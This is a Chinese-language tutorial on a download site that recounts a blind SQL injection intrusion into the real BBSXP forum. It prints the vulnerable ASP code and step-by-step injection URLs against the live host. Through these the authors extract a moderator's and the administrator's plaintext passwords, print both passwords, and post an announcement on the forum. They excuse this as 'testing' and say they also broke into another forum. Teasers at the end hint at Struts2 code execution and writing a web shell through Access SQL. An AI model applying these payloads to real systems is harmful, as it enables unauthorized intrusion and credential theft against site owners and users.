驱动管家:安全、高效、精准的专业驱动下载站!

sql渗透攻击的基础步骤 BBSXP官网就是这样被sql渗透成功

2018-03-13 17:24:45责编:llp   来源:驱动管家     人气:

有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性!

他非常的cool,i like!呵呵,不知道你看过这部电影没有?

不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.

过程如下:

1.找出漏洞并分析漏洞.

2.利用漏洞,得到前台区长密码.

3.利用漏洞,得到后台密码.

4.添加公告,闪人! 开始工作: 到bbsxp官方网站下载最新的bbsxp。 

第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp

//*************************源代码***************************************************//

<% if request.cookies("username")="" then

error("

您还还未登陆社区")

end if select case request("menu")

case "add"

if request.servervariables("request_method")="post" then

url=request("url")

else

url=request.servervariables("http_referer")

end if

conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")

error2("已经添加到网络收藏夹!") case "del"

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")

end select

//***************************后面的无用代码略掉********************************// 看到代码了,首先要注册使用本功能.

然后在这个asp文件中提交的参数有:menu,id就这两个值.

大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")

提交的id值没有过滤直接加入到sql语句中了。 

攻击演示第二步,利用漏洞,得到前台管理员密码. 接到上面的来。我们测试一下这个漏洞是不是存在.

sql渗透攻击的基础步骤 BBSXP官网就是这样被sql渗透成功

自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。

在ie中提交.

http://bbs.yuzi.net/favori... and 1=1

提交到sql中,实际上就是:

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")

不用管那个request.cookies("username").他直接就等于你进来的用户名.

提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。 现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。

保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)

我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!

执行这条语句的结果就是del一条自己的收藏地址,那么我们的

1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

如果为真的话就del了id为576的收藏地址.

看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。

count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。

当然不成功,是不会del了收藏地址的。 最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。

证明kongweb这个区长的密码为:9位.

好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。

因为正确一个就会del一个收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)

这里说一个mid函数的用法:

mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.

我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错. 本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。

所以,程序半天都跑不出来。也就只有手工猜了.

第一位密码几分种后才猜出来。 当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.

在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.

http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)

就这样重复的提交和修改,最后得出密码是:kdjkdjkdj 这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。

http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)

如果成立就del收藏.证明第一个字符的asc码大于100。

相反,你也可以这样测试:..asc(mid(userpass,1,1))<105

如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103

如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系]

这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。

添加收藏也慢得要死。

好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj 第三步:得到后台管理密码; 看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.

我们要的就是他。我们就要取到这个字段的值.

这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条. 再次利用我们第二步的漏洞.进行猜解.

一样的办法。得到后台密码长度为:9位.

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)

刚好正确。

想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。 猜第一位:

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)

ok。第一位出来了。

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)

ok.第二位也出来了。前两位是bb. 呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)

太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。 现在我们用left函数取前5位

说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)

又对了。呵呵,还有四位,想不出来了。我们又破到了两位.

前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。

兄弟们都想了好久,最后想到了cool试试吧!!!

最了,最后居然对了。就是cool密码就是:bbsxpcool

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 现在有前台的账号,和后台的密码。进去发布公告吧! 第四步:发布公告.

进入后台我们发布了记他注意脚本安全的公告,然后闪人! 结束句:

前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!

我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!

我们也一样会努力认真的再次对你们的论坛进行测试的。

  • 恶意网络攻击路由器、交换机和防火墙如何防范?

    恶意网络攻击路由器、交换机和防火墙如何防范?

    远程连接到网络资源已经成为现代企业很多员工的工作需要。无论这种连接是通过VPN、远程桌面还是安全壳(SSH)进行的,这种连接将不可避免地穿过装载着路由器、交换机和防火墙的网络,而这些设备中有很多都很容易受

    详情2018-03-09 09:46:01责编:llp   来源:驱动管家     
  • SQL注入攻击有哪些种类?防御和检查SQL注入的手段介绍

    SQL注入攻击有哪些种类?防御和检查SQL注入的手段介绍

    知彼知己,方可取胜。首先要清楚SQL注入攻击有哪些种类。1 没有正确过滤转义字符在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对

    详情2018-03-11 16:23:41责编:llp   来源:驱动管家     
  • MSSQL获取哪些数据?MSSQL获取数据的方法是什么?

    MSSQL获取哪些数据?MSSQL获取数据的方法是什么?

    一、MSSQL获取数据:用的比较多的就是for xml raw了,MSSQL2000都支持的!注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:复制代码代码如下:select username from mem

    详情2018-03-11 08:59:20责编:llp   来源:驱动管家     
  • 如何关闭21端口?关闭23端口的方法

    如何关闭21端口?关闭23端口的方法

    21端口主要用于FTP(FileTransferProtocol,文件传输协议)服务。端口说明:21端口主要用于FTP(FileTransferProtocol,文件传输协议)服务,FTP服务主要是为了在两台计算机之间实现文件的上传与下载,一台计算机

    详情2018-02-15 15:32:22责编:llp   来源:驱动管家     
  • 网站安全检测工具 appscan的使用教程是什么?

    网站安全检测工具 appscan的使用教程是什么?

    本文由阿德马翻译自国外网站,尊重劳动成果,转载请注明出处,谢谢 本文将详细介绍Appscan功能选项设置的细节,适合E文一般,初次接触Appscan的童鞋参考阅读 Appscan是web应用程序渗透测试舞台上使用最广泛的工具之一

    详情2018-01-28 16:47:16责编:llp   来源:驱动管家     
  • 常规入侵网站 如何在root bat文件中插入木马?

    常规入侵网站 如何在root bat文件中插入木马?

    我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那它的口令一般也

    详情2018-03-02 16:26:32责编:llp   来源:驱动管家     
  • 告诉大家如何在你的网络上廉价的追踪入侵者?

    告诉大家如何在你的网络上廉价的追踪入侵者?

    由于依赖感染指标(IOCs)的安全方法越来越不可靠,“突破口假设”成为业界公共的表示方法。 这种情况经常发生,直到外部主机发现一个缺口并通知机构之前,入侵都没有办法检测到。作为基于签名的解决方案和从第

    详情2018-02-10 21:18:44责编:llp   来源:驱动管家     
  • 黑客常用哪些工具?这些工具有什么作用?

    黑客常用哪些工具?这些工具有什么作用?

    webadv:针对iis+sp3的溢出成功率很高(溢出后system权限!)ipscan:大范围网段快速ipc猜解svc:远程安装 删除Win2k服务3389 vbs:远程安装Win2k终端服务不需i386arpsniffer:arp环境sniffer(需要Winpcap2 1以上)as

    详情2018-02-10 18:57:50责编:llp   来源:驱动管家     
  • struts2漏洞爆出 怎么解决struts2漏洞?

    struts2漏洞爆出 怎么解决struts2漏洞?

    在2013年6月底发布的Struts 2 3 15版本被曝出存在重要的安全漏洞 ,主要问题如下:可远程执行服务器脚本代码用户可以构造http: host struts2-blank example X action?action:%25{(new+java lang ProcessBuilde

    详情2018-01-17 16:25:11责编:llp   来源:驱动管家     
  • access数据库教程:后台sql语句怎么执行导shell?

    access数据库教程:后台sql语句怎么执行导shell?

    需要什么条件,语句又是什么?网上翻不到资料。麻烦各位。答:create table cmd (a varchar(50))insert into cmd (a) values (& 39;& 39;)select * into [a] in & 39;f: host qhdyxt web

    详情2018-01-16 17:39:07责编:llp   来源:驱动管家